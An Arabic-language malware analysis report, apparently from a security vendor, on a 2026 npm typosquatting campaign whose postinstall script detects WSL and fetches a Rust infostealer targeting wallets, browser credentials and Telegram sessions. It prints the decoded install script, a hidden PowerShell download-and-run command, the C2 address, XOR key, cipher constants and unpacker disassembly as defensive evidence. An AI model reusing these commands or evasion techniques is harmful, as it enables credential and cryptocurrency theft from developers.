إلى الخلف
جدول المحتوى
فيكاس كوندو
A naturally curious mind driven by the need to understand how things work and how to make them better. Passionate about learning, experimenting, and exploring new ideas across technology and security.
لم يتم العثور على أية عناصر.

ملخص تنفيذي

في أغسطس 2026، نشر أحد المشغلين أربعين حزمة في سجل npm العام، كل منها عبارة عن خطأ إملائي في واحدة من أكثر المكتبات تثبيتاً في النظام البيئي: chalk وaxios وcommander وlodash وreact وtypescript. احتوت كل حزمة على برنامج نصي للتثبيت. تمت إزالة حزم npm منذ ذلك الحين. الجزء المهم من الحملة لم يكن موجوداً أبداً على npm. البرنامج النصي للتثبيت هو مجرد وسيط؛ فهو يحدد مواصفات الجهاز المضيف، ويرسل تقريراً إلى خادم التحكم والقيادة، ثم يطرح سؤالاً واحداً: هل هذا الجهاز يعمل بنظام Windows، أم أنه بيئة نظام Windows الفرعي لـ Linux تعمل فوقه؟ إذا كانت الإجابة بنعم، فإنه يفك تشفير تعليمات مخفية ويعبر الحدود التي تفصل عادةً بين غلاف Linux الخاص بالمطور وجهاز Windows المضيف تحته، ليقوم بتنزيل وتشغيل ملف Windows تنفيذي أصلي لم تحتوِ عليه حزمة npm مطلقاً.

هذا الملف التنفيذي هو برنامج Windows بحجم 22 ميجابايت مكتوب بلغة Rust، ومستضاف ليس على npm بل كأصل إصدار على GitHub. حزم npm كانت مؤقتة وقد زالت؛ أما حمولة GitHub فلم تكن كذلك. لقد عاشت لفترة أطول منها بنحو 39 ساعة، ولوحظ ارتفاع عداد التنزيل الخاص بها من 119 في الساعة 01:50 بالتوقيت العالمي المنسق في 17 أغسطس إلى 173 بحلول الساعة 18:49 بالتوقيت العالمي المنسق في نفس اليوم، أي 54 عملية سحب في أقل من سبع عشرة ساعة، بعد أن توقفت الحزم التي تشير إليها عن الوجود. تمت إزالتها فقط أثناء هذا التحليل: حيث أعاد حساب bebraz1 بالكامل خطأ 404 في غضون أربع ساعات من آخر قراءة. إن إزالة npm، بحد ذاتها، تركت السلاح في مكانه. لا يشكل البرنامج سوى جزء ضئيل جداً من تلك الـ 22 ميجابايت. فالكود التنفيذي يبلغ 265 كيلوبايت، أي حوالي واحد بالمائة من حجم الملف. أما الـ 98.6 بالمائة المتبقية فهي عبارة عن سلسلة واحدة متصلة من 22,638,592 حرفاً ست عشرياً: حمولة مشفرة بحجم 11 ميجابايت مكتوبة كنص ومحمولة داخل الملف الثنائي. يعمل main.exe كغلاف: فهو يفك تشفير ذلك النص إلى بايتات، ثم يفك تشفيره، ويشغل النتيجة داخل عمليته الخاصة. لا يتم كتابة أي شيء على القرص ولا يتم إنشاء عملية ثانية أبداً، ولهذا السبب لا يرى أي نظام حماية يبحث عن ملف تم إسقاطه أو عملية فرعية غير عادية أي شيء.

قامت CloudSEK بتفجير الملف التنفيذي في بيئة Windows معزولة. يقوم البرنامج ببصمة عنوان IP العام للضحية ثم يحاول الرفع إلى gofile.io، وهي خدمة مشاركة ملفات عامة مجهولة الهوية. إنه لا يرسل إشارات إلى بنية تحتية للمهاجم لتسريب البيانات؛ بل يستخدم خدمة مشروعة لا يمكن إيقافها كما لو كانت نطاقاً إجرامياً. أدى التقاط ذاكرة الضيف أثناء تشغيل الحمولة إلى استعادة ما كانت تحميه عملية التحقق من الشهادة: تحمل المرحلة غير المغلفة ثلاث قوائم مستهدفة، تم توسيعها بالفعل لحساب الضحية، تغطي ستة وعشرين مساراً لمحافظ العملات المشفرة على سطح المكتب، ومخازن بيانات الاعتماد وملفات تعريف الارتباط والسجل لمتصفحات عائلة Chromium، ودليل جلسة Telegram Desktop. كما أنها تحمل مسارات لتثبيتات Brave التي لم تكن موجودة على جهاز التحليل، وهي الطريقة التي تعلن بها قائمة الأهداف المضمنة عن نفسها، وقد قامت بالفعل بتجميع ملف تعريف للأجهزة الخاصة بالجهاز ورأس متعدد الأجزاء للرفع. هذا هو برنامج لسرقة العملات المشفرة وبيانات اعتماد المتصفح وجلسات المراسلة.

التحليل

تتكون الحملة من طبقتين ذات فترات عمرية متعاكسة. طبقة npm صاخبة ورخيصة ومؤقتة: أربعون حزمة انتحال شخصية تم نشرها في سجل عام وسحبها لاحقاً. أما طبقة الحمولة فهي هادئة ودائمة: ملف تنفيذي واحد بلغة Rust على GitHub ومسار تسريب واحد عبر مضيف ملفات عام، وكلاهما لم يتأثر بإزالة npm. قراءة ترتيب العمل تجعل التصميم مفهوماً، لذا فإن الأقسام التالية تتبع نفس المسار الذي يسلكه البرنامج الضار، من خطاف التثبيت إلى الرفع.

الشكل 1. سلسلة التوصيل الكاملة، التي تم استردادها من البداية إلى النهاية. تعمل المراحل من 1 إلى 3 داخل تثبيت npm على مضيف Linux أو WSL؛ تقوم المرحلة 3 بفك تشفير التعليمات التي تعبر إلى مضيف Windows، حيث تعمل المراحل من 4 إلى 6. يشير تغير اللون إلى الحدود التي صُممت الحملة لعبورها.

‍التسلسل الزمني

Date (UTC) Event
2026-06-20 The GitHub account bebraz1 is created. Its name and bio are both the literal string null.
2026-08-12 bebraz1 creates a first repository, 123.
2026-08-15 bebraz1 creates qPzM50V1AKG0rVlH and publishes the release asset main.exe under a release tag literally named null.
2026-08-16 All forty packages are published to npm between 02:48 and 02:56 UTC, after an operator test package at 02:28, and are unpublished the same day between 04:07 and 04:12 UTC — a live window of about 84 minutes.
2026-08-17 CloudSEK catalogues the campaign and detonates the payload. The GitHub asset is still live at 19:20 UTC; by 23:12 UTC the whole bebraz1 account returns 404.
2026-08-18 The C2 at 193.70.34.101:20099 is still answering. Registry probing recovers three further campaign packages.

الجدول 1. الجدول الزمني. صفوف npm مأخوذة من سجلات الحذف، والتي تبقى بعد إلغاء النشر وتكون دقيقة بالثانية. صفوف GitHub مأخوذة من بيانات وصفية تم التقاطها قبل إزالة الحساب ولا يمكن إعادة استنتاجها من المصدر.

الترتيب هو الجزء الذي يستحق التوقف عنده. كانت الحمولة موجودة على GitHub قبل ثلاث وعشرين ساعة من نشر أول حزمة npm - تم طرح الإصدار في الساعة 03:19 بالتوقيت العالمي المنسق في 15 أغسطس، وأول حزمة في الساعة 02:28 بالتوقيت العالمي المنسق في 16 أغسطس - على بنية تحتية لا تخضع لـ npm. استمرت الوسائط بعد ذلك لمدة 84 دقيقة؛ بينما عاشت الحمولة لفترة أطول منها بنحو 39 ساعة. نحن نقرأ هذا التسلسل كعملية تنظيم متعمدة، على الرغم من أن الترتيب هو الدليل والقصد هو قراءتنا له.

تحليل البرمجيات الضارة

تم استرداد كل خطوة أدناه من الحزم والحمولة مباشرة. تمت إزالة حزم npm من السجل، لذا تمت قراءة محتوياتها من نسخ CloudSEK المؤرشفة؛ وتمت قراءة الحمولة وتشغيلها من عينة تم التحقق من تجزئتها. الترتيب هو ترتيب التنفيذ.

المرحلة 1: الوسيط

معظم الحزم عبارة عن خطأ إملائي بحرف واحد أو تبديل في ترتيب الحروف لمكتبة شهيرة؛ بينما تقوم أقلية بتهجئة المكتبة بشكل صحيح وإضافة لاحقة حزمة فرعية معقولة، وهو ما يعد استيلاءً على مساحة الاسم بدلاً من التضليل الإملائي. واحدة منها ليست أياً من ذلك. تم نشر جميعها بالإصدار 1.0.0 مع خطاف تثبيت. تتجمع الأسماء في ست عائلات حسب المكتبة التي تقلدها، وهي مدرجة بالكامل في الملحق أ. يؤدي تثبيت أي منها إلى تشغيل scripts/postinstall.js تلقائياً.

المرحلة 2: إشارة التثبيت

يرسل برنامج التثبيت النصي تقريراً إلى خادم تحكم وقيادة مضمن. الوجهة غير مكتوبة كسلسلة نصية؛ بل يتم تجميعها من مصفوفة في وقت التشغيل، لذا فإن الماسح الضوئي الذي يبحث في الحزمة عن عنوان IP لا يجد شيئاً. ما يرسله أقل مما يجمعه، والفرق يستحق الذكر بدقة: يقوم البرنامج النصي ببناء ملف تعريف أكمل للمضيف - إصدار Node، والبنية، والمنصة - ثم يتجاهله. يحمل نص الطلب تسمية واحدة عامة.

const TELEMETRY = {
  host: ['193', '70', '34', '101'].join('.'),   // = 193.70.34.101 (OVH)
  port: 20099,
  path: '/vote',
  get addon () { return unpackSegment(ADDON_ENC, ADDON_KEY) }
}


collectEnvSnapshot()  -> { node, arch, platform }   // computed, then DISCARDED
sendInstallMetrics(profile.label)
  -> POST /vote   body: JSON.stringify({ platform: label })
     label is one of  'Windows' | 'MacOS' | 'Linux'

الشكل 2. الإشارة، من scripts/postinstall.js. يتم بناء عنوان C2 من ثمانياته لهزيمة مطابقة السلاسل النصية. يتم إرسال تسمية عامة لنظام التشغيل فقط؛ أما ملف التعريف الأكثر ثراءً الذي يجمعه البرنامج النصي فلا يغادر الجهاز أبداً. الإشارة هي إحصاء، وليست قناة استطلاع.

المرحلة 3: بوابة WSL

قبل نشر أي شيء على نظام ويندوز، يتحقق البرنامج النصي من وجوده في مكان يمكنه الوصول فيه إلى مضيف ويندوز. فهو يعتبر منصة win32 الأصلية مؤهلة، ويعتبر بيئة لينكس مؤهلة فقط إذا كانت هي "نظام ويندوز الفرعي للينكس" (WSL)، وهو ما يكتشفه بثلاث طرق: أولاً عبر متغيرات البيئة، ثم عبر ملفين ضمن المسار /proc.

function isVirtualizedLinux () {
  if (process.platform !== 'linux') return false
  if (process.env.WSL_DISTRO_NAME || process.env.WSLENV) return true
  const procVersion = fs.readFileSync('/proc/version', 'utf8')
  if (/microsoft/i.test(procVersion)) return true
  const osRelease = fs.readFileSync('/proc/sys/kernel/osrelease', 'utf8')
  if (/microsoft/i.test(osRelease) || /WSL/i.test(osRelease)) return true
  return false
}

الشكل 3. اكتشاف WSL، من scripts/postinstall.js. يتم التعامل مع المطور الذي يقوم بتشغيل npm install داخل WSL كمسار وصول إلى جهاز ويندوز الأساسي.

Windows Subsystem for Linux runs a real Linux environment on top of a Windows host, sharing the same disk and the same user. A program inside WSL can invoke Windows executables directly.

It is a door between two rooms that most developers think of as separate: the Linux shell where they run npm, and the Windows desktop where they keep their browser, their credentials and their wallet. The door is normally a convenience.

This campaign uses it as an attack path. An npm package, which a developer expects to affect only their project, reaches through the door and runs a native program on the Windows side, where the things worth stealing actually are.

المرحلة 4: عبور الحدود

عند اجتياز البوابة، يقوم البرنامج النصي بفك تشفير أربع مصفوفات بايت باستخدام مفتاح XOR متكرر (المفتاح هو السلسلة stf2026) ويجمع أمر التنزيل والتشغيل. يؤدي فك تشفيرها إلى استعادة رابط الحمولة وجسر PowerShell المخفي بالكامل.

// XOR key: 'stf2026'   byte ^ key.charCodeAt(i % key.length)


ADDON_ENC          -> https://github.com/bebraz1/qPzM50V1AKG0rVlH/releases/
                        download/null/main.exe


BRIDGE_LAUNCHER    -> powershell.exe -WindowStyle Hidden -NoProfile
                        -NonInteractive -ExecutionPolicy Bypass -Command "
BRIDGE_SCRIPT_PRE  -> $p = Join-Path $env:TEMP 'main.exe';
                        Invoke-WebRequest -Uri '<url above>'
BRIDGE_SCRIPT_POST -> ' -OutFile $p -UseBasicParsing;
                        Start-Process -FilePath $p -WindowStyle Hidden

الشكل 4. التسليم بعد فك التشفير، باستخدام مفتاح XOR stf2026. يتم تنزيل الحمولة إلى %TEMP%\main.exe وتشغيلها دون نافذة مرئية، ويتم تنفيذها على مضيف ويندوز من تثبيت WSL.

هناك خياران في ذلك الأمر يستحقان الذكر. يتم كل من التنزيل والتنفيذ في وضع مخفي (بدون نافذة)، لذا لا يظهر أي شيء على شاشة الضحية. كما تم تمرير التعليمات بالكامل كبايتات مشفرة داخل حزمة npm، لذا لم يكن الرابط ولا PowerShell مرئيين لأي شخص يقرأ الحزمة كنص.

جسر PowerShell هو نصف عملية التسليم فقط، ويجب على المدافعين معرفة أي نصف ينظرون إليه. إنه مسار WSL: يحدد البرنامج النصي المضيف على أنه يحتاج إلى الجسر فقط عندما يتبين أن نظام لينكس الذي يعمل عليه هو WSL. أما على مضيف ويندوز الأصلي، فلا يوجد PowerShell على الإطلاق. يقوم برنامج التثبيت بفك تشفير رابط الحمولة فقط، وتنزيله باستخدام عميل HTTPS الخاص بـ Node، وتشغيله بنفسه.

native win32 branch  —  no shell, no PowerShell, no command line


installNativeAddon()
  url  = unpackSegment(ADDON_ENC, ADDON_KEY)      // only this one array is decoded
  dest = path.join(process.env.TEMP, 'main.exe')
  https.get(url, ...)                             // Node's own client, not curl/IWR
  spawn(dest, [], { detached: true, stdio: 'ignore', windowsHide: true })

الشكل 4ب. الفرع الآخر. قاعدة الكشف التي تعتمد على خطاف تثبيت يقوم بتشغيل powershell.exe ترى ضحايا WSL وتغفل عن ضحايا ويندوز الأصليين تماماً، لأن العملية في هذا المسار تقوم بالتنزيل والتشغيل ذاتياً.

المرحلة 5: الحمولة، من منظور ثابت

main.exe هو ملف تنفيذي لنظام ويندوز بحجم 22 ميجابايت مكتوب بلغة Rust. وهو مطابق تماماً من حيث التجزئة (hash) للأصل الموجود على GitHub. التفسير الواضح لحجمه، وهو أن Rust تربط وقت التشغيل (runtime) الخاص بها بشكل ثابت، هو تفسير خاطئ، وملاحظة هذا الخطأ هي ما يفتح الباب لبقية التحليل.

file    PE32+ executable (GUI) x86-64, 10 sections, for MS Windows
sha256  6f088ade49456db2422c3edfbb9998f4a3e9cce7c4c00a7279fb45d672a82b7d
size    22,969,344 bytes
build   Rust, target x86_64-pc-windows-gnu (msvcrt/ntdll imports; .CRT/.idata sections)
rustc   commit 8bab26f4f68e0e26f0bb7960be334d5b520ea452
imports KERNEL32, msvcrt, ntdll, api-ms-win-core-synch  (minimal)


section sizes:
  .text     265,728 bytes    entropy 6.33     <- the entire program
  .rdata 22,673,408 bytes    entropy 4.02     <- 98.7% of the file
  all others combined      29,184 bytes


anti-analysis:
  PE TimeDateStamp zeroed to 0        (defeats build-time timeline analysis)
  GUI subsystem                       (runs with no console window)
  no endpoints or target paths in cleartext anywhere in the file

الشكل 5. حقائق ثابتة لملف main.exe. برنامج بحجم 265 كيلوبايت يحمل قسماً للقراءة فقط بحجم 22 ميجابايت، وهذه النسبة هي الشذوذ الذي يستحق البحث فيه.

معدل الإنتروبيا البالغ 4.02 عبر 22 ميجابايت هو الدليل. تقترب البيانات المضغوطة أو المشفرة من 8.0، وتختلف بيانات البرامج العادية؛ أما القسم الذي يحمل قيمة ثابتة تبلغ 4.00 لعشرين ميجابايت متتالية فهو ليس أياً منهما. يوضح إحصاء البايتات السبب: يستخدم القسم ستة عشر حرفاً متميزاً، كل منها بنسبة 6.25 بالمائة تقريباً. تحمل الرموز الستة عشر المحتملة بالتساوي أربعة بتات لكل منها، لذا فإن الإنتروبيا هي 4.00 بحكم التصميم. الأحرف هي 0-9 و a-f.

.rdata byte census (22,673,408 bytes)
  printable ASCII  99.9%      NUL 0.0%      bytes >= 0x80  0.0%
  most common:  'a' 6.3%   '3' 6.3%   '8' 6.2%   'f' 6.2%   'd' 6.2%
                '2' 6.2%   '0' 6.2%   'e' 6.2%   ... sixteen symbols, ~6.25% each
  entropy per megabyte:  4.00, 4.00, 4.00, 4.00 ... for 20 consecutive megabytes


one contiguous hexadecimal run of 22,638,592 characters begins at file offset 0x43e4c:
  52c11f246309cce5556a00408bafb9868622114903dbd8128dc4ce3eca2df27a ...

الشكل 6. قسم البيانات للقراءة فقط ليس بيانات وضعها المترجم (compiler). إنه سلسلة ست عشرية ضخمة، وهي عبارة عن حمولة مكتوبة كنص.

المرحلة 6: ما يحمله الغلاف

يؤدي فك تشفير تلك الأحرف إلى 11,319,296 بايت بإنتروبيا تبلغ 8.000، وهو الحد الأقصى المطلق. هذه بيانات مشفرة أو مضغوطة وليست برنامجاً يمكن قراءته مباشرة. يؤكد كود الغلاف نفسه كلاً من الحجم والطريقة: فهو يخصص هذا العدد الدقيق من البايتات قبل أن يبدأ فك التشفير، وتقرأ حلقة فك التشفير القسم حرفين في كل مرة.

0x140001b60   mov   ecx, 0xacb800            ; 11,319,296 - the exact decoded size
0x140001b65   call  0x14000fe20              ; allocate that buffer
0x140001b90   lea   rbx, [rip + 0x436b5]     ; -> the hexadecimal run
0x140001b9a   mov   cl, [rbx + r14*2]        ; first character of the pair
0x140001b9e   lea   ebp, [rcx - 0x30]        ; '0'-'9'
0x140001baf   add   cl, 0xa9                 ; 'a'-'f'
0x140001bb9   add   cl, 0xc9                 ; 'A'-'F'
0x140001bc5   mov   cl, [rbx + r14*2 + 1]    ; second character of the pair
0x140001bff   shl   bpl, 4                   ; high nibble
0x140001c03   add   r15b, bpl                ; combine into one byte
0x140001c06   mov   [rax + r14], r15b        ; store
0x140001c15   cmp   r14, 0xacb800            ; until the whole payload is decoded


decoded blob:  11,319,296 bytes   entropy 8.000   (encrypted, not a plain executable)
sha256         6888d4c54ef2b5bf23889f9637c2efe77e1d2af4724d315b73d646cf5547dc73

الشكل 7. روتين فك الحزم، المسترجع من كود الغلاف. يتكرر الثابت 0xACB800 خلال هذه الوظيفة — لتحديد حجم المخزن المؤقت، وضبط طول المتجه، وإنهاء الحلقة — وتسع مرات عبر قسم الكود بالكامل.

يحدد التشفير نفسه مرتين. بالقرب من بداية قسم البيانات، قبل حوالي ثمانية كيلوبايت من السلسلة الست عشرية، يوجد جدول الثوابت المستديرة SHA-256 المكون من أربعة وستين مدخلاً، وفوقه مباشرة ثابت مكون من ستة عشر بايت يبعد حرفين عن سلسلة تهيئة ChaCha20. الفرق ليس خطأ مطبعياً: فهو يحافظ على الطول بدقة، بحذف حرف n من expand وإدراج 2 قبل 32.

0x140043060   65 78 70 61 64 20 32 33 32 2d 62 79 74 65 20 6b   |expad 232-byte k|
              the algorithm specifies                            'expand 32-byte k'


0x140043070   98 2f 8a 42 91 44 37 71 cf fb c0 b5 a5 db b5 e9   SHA-256 round constants
              (0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5 ... little-endian)


key material loaded by the unpacking routine:
  0x140001c45   32 bytes from .rdata+0x00   b037c12805cbc47ea1247ec2c9e16494
                                            ed61c1982cbd45be3f01ddd9353f026c
  0x140001c7e   32 bytes from .rdata+0x20   8b604d8e2079d2375b2888e44ac492dd
                                            5b3f19d74777d91fed30e175df27fa44
  0x140001c62   12 bytes as immediates      f7d0038f50e382710a33c52e

الشكل 8. ثوابت التشفير. لا يكلف تغيير سلسلة التهيئة المؤلف شيئاً، لأن الغلاف لا يتحدث إلا مع نفسه، وهو يكسر كل قاعدة كشف مكتوبة ضد القيمة القياسية.

لم تؤد إعادة بناء فك التشفير من تلك المعلمات وحدها إلى إعادة إنتاج الحمولة. لم ينتج أي من الثابتين، في أي من موضعي المفتاح، مع القيمة المكونة من اثني عشر بايت كـ nonce، عند أي بداية للعداد، ولا في متغير nonce الموسع، سوى ضجيج، لذا لا يُزعم هنا أن البنية الدقيقة قد تم التوصل إليها. لم يكن الأمر بحاجة إلى حل: فالغلاف يقوم بفك التشفير بنفسه، وكان على التحليل ببساطة أن يكون حاضراً عندما حدث ذلك.

تسبق كل هذا روتين إضافي. يقوم الغلاف بتشغيل حلقة تكرارية من العمليات الحسابية لـ 552,054 مرة دون استخدام نتيجتها، ويقيس الوقت المستغرق في ذلك، وإذا انتهى في تسع أجزاء من الألف من الثانية أو أقل، فإنه يتوقف مؤقتاً لنصف ثانية قبل المتابعة. توجد هذه الحلقة التي لا تحسب شيئاً لاستهلاك الوقت، وقياسها يهدف إلى كشف البيئة التي لا تخصص وقتاً حقيقياً لتنفيذها.

0x140001abb   mov   ebx, 0x1cb6              ; seed
0x140001ac3   call  0x140032c60              ; read the clock
0x140001aeb   rol   rbx, 3                   ; junk arithmetic, result discarded
0x140001aef   add   rbx, r14
0x140001b08   cmp   r14, 0x86c76             ; 552,054 iterations
0x140001b16   call  0x140032df0              ; read the clock again
0x140001b3b   mov   r8d, 9                   ; compare elapsed against 9 ms
0x140001b4b   mov   edx, 0x1dcd6500          ; 500,000,000 ns
0x140001b50   call  0x140040000              ; ... and sleep half a second

الشكل 9. التوقف المؤقت. إنه يؤخر التنفيذ ويقيس هذا التأخير، وهي الطريقة التي تتحقق بها العينة مما إذا كانت تعمل في بيئة تحاول تسريع وتيرة عملها.

وأخيراً، يخبرك الغلاف بما ينوي إنتاجه. توجد ثلاث قطع برمجية معاً في قسم البيانات: اسم ملف أساسي، وامتداد، وملف إعدادات كامل لتطبيق .NET. لا يكون ملف .exe.config ذا معنى إلا إذا وُجد بجانب ملف تنفيذي حقيقي على القرص، وهذا الملف يحدد بيئة التشغيل التي يحتاجها ذلك الملف التنفيذي.

ez_run_    .exe    exe.config<?xml version="1.0" encoding="utf-8" ?><configuration>
  <startup useLegacyV2RuntimeActivationPolicy="true">
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/>
    <supportedRuntime version="v4.0"/>
    <supportedRuntime version="v2.0.50727"/>
  </startup></configuration>


[LOG] Payload unpacking and decryption completed in 


cmd.exe /e:ON /v:OFF /d /c "

الشكل 10. سلاسل الغلاف النصية كما تظهر في الملف: اسم ملف أساسي، وامتداد، وملف إعدادات كامل لتطبيق .NET يطلب إطار عمل 4.8 مع خيارات بديلة عبر الإصدار 4.0 وصولاً إلى CLR v2.0.50727. تصف هذه السلاسل مسار "الإسقاط والتشغيل" — أي كتابة ملف ez_run_<name>.exe مع ملف إعدادات مطابق بجانبه — وهو مسار لم يسلكه هذا الإصدار تحت المراقبة: فخلال عمليات التنفيذ المتكررة لم يظهر مثل هذا الملف ولم يتم تحميل أي بيئة تشغيل .NET. من الأفضل قراءة هذه السلاسل كقدرة عامة للمغلف بدلاً من اعتبارها سلوكاً خاصاً بهذه العينة. سطر السجل حقيقي؛ فالغلاف يقوم بالفعل بتوقيت عملية فك الضغط الخاصة به.

RESULT: main.exe is a delivery wrapper. Its cargo is carried as hexadecimal text, encrypted under a deliberately non-standard cipher constant, decoded and decrypted at runtime, and executed without ever being written to disk.

المرحلة 7: الحمولة، ديناميكياً

نظراً لعدم وجود أي شيء مفيد يمكن قراءته في الملف، تم تحديد سلوك الحمولة عن طريق تنفيذها في بيئة ويندوز معزولة لا تملك اتصالاً بالإنترنت، حيث قامت شبكة اصطناعية بالرد على طلباتها بشكل مقنع وتسجيلها.

تعمل الحمولة فوراً تقريباً وتنتهي في أقل من دقيقة. إن أخذ عينات من قائمة العمليات مرة كل ثانية أثناء التشغيل يوضح نمط عملها: تظهر العملية، وتقفز ذاكرتها العاملة من 2.6 ميجابايت إلى 52 ميجابايت في حوالي ثانية واحدة بينما يقوم الغلاف بفك تشفير وفك ضغط أحد عشر ميجابايت في الذاكرة، ثم تثبت عند هذا الحجم أثناء عملها، وبعد ذلك تختفي.

الشكل 11. الحمولة تعمل في بيئة التحليل. تقوم الحلقة بأخذ عينات من قائمة العمليات كل ثلاث ثوانٍ تقريباً — حيث إن أمر tasklist ليس مجانياً على جهاز ضيف ثنائي النواة — لذا فإن هذه الأسطر السبعة تغطي حوالي ثلاث وعشرين ثانية. القفزة من 2,608 كيلوبايت إلى 52,112 كيلوبايت بين العينة الأولى والثانية هي عملية فك الضغط: حيث يتم تحويل النص الست عشري مرة أخرى إلى ملف تنفيذي بحجم أحد عشر ميجابايت في الذاكرة.

بالنسبة للوقت، فإن التسلسل دقيق للغاية. يتم تسجيل لحظة الإطلاق داخل الجهاز الضيف بواسطة برنامج المراقبة الذي يبدأ تشغيل العينة ويكتب طابعه الزمني الخاص؛ بينما يتم تسجيل طلبي الشبكة من جانب المضيف بواسطة الشبكة الاصطناعية. وبمقارنة القياسين، نجد أن نداء الاستطلاع حدث بعد 18.9 و20.0 ثانية من الإطلاق في المرتين اللتين تم فيهما حفظ السجلات، ومحاولة الرفع حدثت بعد ذلك بـ 0.18 ثانية.

‍

‍

مدونات ذات صلة